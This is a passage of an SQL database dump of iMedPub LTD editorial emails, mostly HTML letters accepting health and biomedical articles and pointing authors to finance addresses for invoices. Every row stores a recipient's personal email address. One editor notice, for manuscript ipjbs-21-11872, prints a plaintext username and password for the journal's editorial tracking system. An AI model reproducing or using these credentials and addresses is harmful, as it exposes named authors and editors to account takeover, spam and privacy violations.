href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jenberu1981@gmail.com',11693,'2021-12-29',48),(4044,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11610</b><br />\r\n            <br />\r\n            Article Title: <b>Study of drug effects at the population level</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','larisa@gmail.com',11610,'2021-12-29',988),(4045,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11744</b><br />\r\n            <br />\r\n            Article Title: <b>Practice and associated factors of traditional uvulectomy among caregivers having children less than 5 years old in South Gondar Zone, Amhara Region, Ethiopia, 2020; a triangulated cross-sectional study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wale</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','berhanuwale7@gmail.com',11744,'2021-12-29',48),(4046,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-11403</b><br />\r\n            <br />\r\n            Article Title: <b>Association of Liver function tests, lipid profile and glycemic status in a cohort of patients with Type 2 diabetes mellitus in Sri Lanka.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kariyawasan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chitrak64@yahoo.com',11403,'2021-12-29',984),(4047,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11872</b><br />\r\n            <br />\r\n            Article Title: <b>Essential thrombocytosis, JAK2 V617F mutation, hypereosinophilia and recurrent thrombosis: is it a new variant of myeloproliferative neoplasm?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Sudhir Mehta</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-21-11872</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sudhanshu<br />\r\n            <b>Password:</b> XjaPr9HC<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sekharsudhansu@hotmail.com',11872,'2021-12-29',988),(4048,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11872</b><br />\r\n            <br />\r\n            Article Title: <b>Essential thrombocytosis, JAK2 V617F mutation, hypereosinophilia and recurrent thrombosis: is it a new variant of myeloproliferative neoplasm?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mehta</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','s.smehta@hotmail.com',11872,'2021-12-29',988),(4049,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11684</b><br />\r\n            <br />\r\n            Article Title: <b>PREVALENCE OF BED-SORE AND ITS ASSOCIATED FACTORS AMONG HOSPITALIZED PATIENTS IN MEDICAL AND SURGICAL WARDS AT YEKATIT 12 HOSPITAL MEDICAL COLLEGE, ADDIS ABABA, ETHIOPIA 2018</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kore</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','cherucuc@gmail.com',11684,'2021-12-30',48),(4050,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11951</b><br />\r\n            <br />\r\n            Article Title: <b>Association between insulin resistance and metabolic syndrome with thyroid status in normal and overweight/obese population: A Review</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Nawoda Hewage</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-11951</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',11951,'2021-12-30',988),(4051,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11951</b><br />\r\n            <br />\r\n            Article Title: <b>Association between insulin resistance and metabolic syndrome with thyroid status in normal and overweight/obese population: A Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hewage</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ishiharinawoda@gmail.com',11951,'2021-12-30',988),(4052,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-12036</b><br />\r\n            <br />\r\n            Article Title: <b>STAPHYLOCOCCAL SCALDED SKIN SYNDROME (SEPE): DIAGNOSIS AND TREATMENT. OUTBREAK CONTROL PRESENTED IN A NEONATAL UNIT AT A CLINIC IN MONTERIA COLOMBIA 2021.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Vergara </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Juanestade93@gmail.com',12036,'2021-12-30',48),(4053,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-12036</b><br />\r\n            <br />\r\n            Article Title: <b>STAPHYLOCOCCAL SCALDED SKIN SYNDROME (SEPE): DIAGNOSIS AND TREATMENT. OUTBREAK CONTROL PRESENTED IN A NEONATAL UNIT AT A CLINIC IN MONTERIA COLOMBIA 2021.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Vergara </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Juanestade93@gmail.com',12036,'2021-12-30',48),(4054,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-11443</b><br />\r\n            <br />\r\n            Article Title: <b>semen parameters, including WHO strict criteria in a particular region</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>alkis kocturk</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sumeyrakocturk@yahoo.com',11443,'2021-12-31',984),(4056,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-12205</b><br />\r\n            <br />\r\n            Article Title: <b>The effect of combined exercise versus aerobic exercise on cognition and mood among hypertensive older adults: Randomized Clinical trial</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Santos</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','well.martins.santos@gmail.com',12205,'2022-01-24',48),(4057,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-12200</b><br />\r\n            <br />\r\n            Article Title: <b>Behavior of Necrotizing Enterocolitis in newborns in a Neonatal Intensive Care Unit Monter&Atilde;&shy;a, Colombia, between 2015 and 2018.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Guzman </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Alvarezmariac24@gmail.com',12200,'2022-01-24',48),(4058,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12229</b><br />\r\n            <br />\r\n            Article Title: <b>On the estimation of cure rate in the presence of prognostic factors using various Discrete Count Distributions</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pant</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','joshi.seema2711@gmail.com',12229,'2022-01-24',48),(4062,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12347</b><br />\r\n            <br />\r\n            Article Title: <b>SMALL BOWEL METASTASIS FROM A GASTRIC CANCER: A CASE REPORT</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wael</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','farjaouiwael4@gmail.com',12347,'2022-01-27',48),(4063,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12327</b><br />\r\n            <br />\r\n            Article Title: <b>THE PUBLIC HEALTH AND CLINICAL IMPORTANCE OF AMOEBIASIS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ullah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rizwanmicrobiologist@yahoo.com',12327,'2022-01-28',48),(4064,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12313</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment Of Practice Of Breast Self-Examination And Associated Factors Among Health Science Female Students Of Ambo University: Cross Sectional Study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bacha</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yohannesbacha@yahoo.com',12313,'2022-01-28',48),(4065,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12284</b><br />\r\n            <br />\r\n            Article Title: <b>Socio-Demographic and Other Determinants of Teen Pregnancies in the Tamale Metropolis: A Community-Based Unmatched Case-Control Study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. 